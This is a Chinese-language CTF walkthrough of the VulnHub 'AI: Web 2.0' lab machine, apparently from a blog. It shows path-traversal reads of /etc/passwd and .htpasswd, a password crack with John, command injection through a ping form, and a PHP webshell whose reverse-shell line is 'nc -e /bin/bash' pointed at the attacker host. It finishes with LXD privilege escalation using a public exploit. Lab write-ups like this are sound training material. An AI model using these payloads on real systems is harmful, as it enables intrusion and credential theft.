轻院课程 VulnHub-AI-web-2.0靶机渗透

VulnHub-AI-web-2.0靶机渗透


靶场介绍


靶场地址:https://www.vulnhub.com/entry/ai-web-2%2C357/

主要内容:文件读取、join爆破、命令注入、命令注入传shell、(隐藏文件)敏感文件泄露、lxd提权

环境描述:

flag数量:1
攻击机:kali
攻击机地址:10.10.0.6
靶机描述:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This is the second box from the series AI: Web and you will have more fun to crack this challenge. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root.

You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.

For any hint please tweet on @arif_xpress


信息收集

探测靶机地址

┌──(root㉿kali)-\[\~]

└─# arp-scan -l

在这里插入图片描述
获得靶机地址:10.10.0.130

探测靶机开放端口

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -T4 -A -p- 10.10.0.130

在这里插入图片描述
由上图可见,发现靶机 80端口、22端口


访问80端口
浏览器键入:

http://10.10.0.130/

在这里插入图片描述

web页面可注册、登录,登录后如下图
在这里插入图片描述
登录之后只显示 Welcome to XuezhuLi FileSharing


目录扫描

┌──(root㉿kali)-[~]
└─# dirb http://10.10.0.130

在这里插入图片描述
其中有个 wenadmin 的目录,尝试访问
浏览器键入:

http://10.10.0.130/webadmin

在这里插入图片描述
需要用户、密码


漏洞发现

通过上述访问,发现 Welcome to XuezhuLi FileSharing ,以此作为线索,谷歌一下,发现是全球最大同性交友网站上面的项目
项目地址:https://github.com/XuezhuLi/FileSharing
在这里插入图片描述


查一下有没有可用的漏洞
漏洞库链接:https://www.exploit-db.com/
在这里插入图片描述
发现两个漏洞,第一个漏洞是CSRF,危害不大,也不好利用;第二个是目录穿越(文件遍历),这个可以读取一些文件,查看一下这个漏洞


在这里插入图片描述


利用漏洞


文件读取

尝试利用:可以使用浏览器访问,对文件直接进行下载,也可以放到bp中访问查看

http://10.10.0.130/download.php?file_name=../../../../../../../../../../../../../etc/passwd

在这里插入图片描述


查看文件
在这里插入图片描述

成功读取到了 /etc/passwd 文件,上述扫描目录可知,这是apache服务,所以尝试读取他的配置文件,会有服务的用户、密码

http://10.10.0.130/download.php?file_name=../../../../../../../../../etc/apache2/sites-enabled/000-default.conf

在这里插入图片描述


查看文件

在这里插入图片描述

发现用户认证的文件路径,干他

http://10.10.0.130/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd

在这里插入图片描述


查看文件
在这里插入图片描述
发现用户、账号密码:


aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/



john爆破

为了方便,我这里将 .htpasswd 文件重命名为 apache-passwd.txt
在这里插入图片描述


直接爆破

┌──(root㉿kali)-[~/web2.0]
└─# john apache-passwd.txt

在这里插入图片描述
等太久了,没结果
根据靶场提示,发现解密的字典 rockyou-45.txt
字典地址:
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt
在这里插入图片描述


将 rockyou-45.txt 字典文件 copy 下来,后使用该字典爆破
在这里插入图片描述


爆破

┌──(root㉿kali)-[~/web2.0]
└─# john --wordlist=rockyou-45.txt apache-passwd.txt

在这里插入图片描述


爆破出账号密码,浏览器登录

账号/密码: aiweb2admin/c.ronaldo

在这里插入图片描述
在这里插入图片描述



访问 robots.txt

浏览器键入:

http://10.10.0.130/webadmin/robots.txt

在这里插入图片描述


访问第一个目录,发现是个ping ip地址的,考虑是否存在命令执行
在这里插入图片描述

浏览器键入:

http://10.10.0.130/webadmin/S0mextras/

在这里插入图片描述
访问第二的目录,没什么可利用的点



命令注入

回到第一个目录,经过尝试,发现可以使用 | 进行绕过(管道符)
键入:

127.0.0.1

在这里插入图片描述
在这里插入图片描述


键入:

127.0.0.1|ip a

在这里插入图片描述
在这里插入图片描述

利用注入执行 下载木马文件

写个木马:

<?php
eval($_REQUEST['shell']);
system("nc -e /bin/bash 10.10.0.6 8888");
?>

在这里插入图片描述


在kali上开启简易服务器
┌──(root㉿kali)-[~/web2.0]
└─# python2 -m SimpleHTTPServer 9999

在这里插入图片描述


通过命令执行下载木马文件 webshell.php

127.0.0.1|wget http://10.10.0.6:9999/webshell.php

在这里插入图片描述


查看是否下载成功

127.0.0.1|ls

在这里插入图片描述

kali上开启监听: nc -lvnp 8888

┌──(root㉿kali)-[~/web2.0]
└─# nc -lvnp 8888

在这里插入图片描述
运行webshell.php,但kali监听端口没有反应
这里换思路


利用命令注入 查看隐藏文件


隐藏文件一般都是(.)开头的,使用find命令:
127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/

在这里插入图片描述
这下发现了隐藏文件,.sshUserCred55512.txt 文件从文件名上来看应该是和ssh登录有关,用cat命令查看一下

127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt

在这里插入图片描述

User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

SSH 账号密码连接

上面的内容可能是ssh的账号密码,试一下
在这里插入图片描述
登录上去了,查看id
在这里插入图片描述


使用 sudo -l,无权限
在这里插入图片描述


LinEnum工具扫描

那就使用LinEnum工具扫描一下可以利用哪些信息提权
地址:
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh


下载文件,上传到靶机

wget 10.10.0.6:9999/LinEnum.sh

在这里插入图片描述


添加权限

chmod +x LinEnum.sh

在这里插入图片描述

执行

./LinEnum.sh

在这里插入图片描述
在扫描报告的底部,发现可以利用lxd漏洞
在这里插入图片描述


lxd漏洞


查找lxd漏洞
┌──(root㉿kali)-[~/web2.0]
└─# searchsploit lxd

在这里插入图片描述

┌──(root㉿kali)-[~/web2.0]
└─# searchsploit -m linux/local/46978.sh

在这里插入图片描述


复制到当前目录

┌──(root㉿kali)-[~/web2.0]
└─# cp /usr/share/exploitdb/exploits/linux/local/46978.sh .

在这里插入图片描述


查看一下 cat 46978.sh

┌──(root㉿kali)-[~/web2.0]
└─# cat 46978.sh

在这里插入图片描述
得到大致步骤:
第一步需要下载build-alpine
第二步运行里面的build alpine然后给靶机运行就可以得到root


build-alpine

按照步骤,先下载 build-alpine
地址:
https://github.com/saghul/lxd-alpine-builder/blob/master/build-alpine
在这里插入图片描述


下载后添加权限

chmod +x build-alpine

在这里插入图片描述


执行

┌──(root㉿kali)-[~/web2.0]
└─# ./build-alpine

下载较慢,可以科学上网
在这里插入图片描述


然后ls一下会发现多了一个命名规则是年份日期的,然后把这个传到靶机中

wget 10.10.0.6:9999/alpine-v3.20-x86_64-20240911_2210.tar.gz

在这里插入图片描述


添加权限

chmod +x alpine-v3.20-x86_64-20240911_2210.tar.gz

在这里插入图片描述

上传 46978.sh

wget 10.10.0.6:9999/46978.sh

在这里插入图片描述


添加权限

chmod 777 46978.sh

在这里插入图片描述


运行

./46978.sh -f alpine-v3.20-x86_64-20240911_2210.tar.gz

在这里插入图片描述


查看id
在这里插入图片描述


寻找flag
在这里插入图片描述


总结

文件读取:这里得熟悉Apache配置文件的路径,才知道应该读取什么文件

join爆破:这里就得知道靶场给了字典的提示

命令注入:这个得尝试怎么绕过,而且看到 ping ip 首先就要想到可能是命令注入

命令注入查看隐藏文件:这个得知道隐藏文件一般都是(.)开头的

这个靶场打的磕磕绊绊,读取配置文件的时候,不知道应该看哪些配置文件,或者说不知道那么多的路径。然后命令注入的时候,查看隐藏文件,这个一开始没想到,还是看了大佬的博客才想起来。后面的lxd提权,也遇到了一点小问题。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值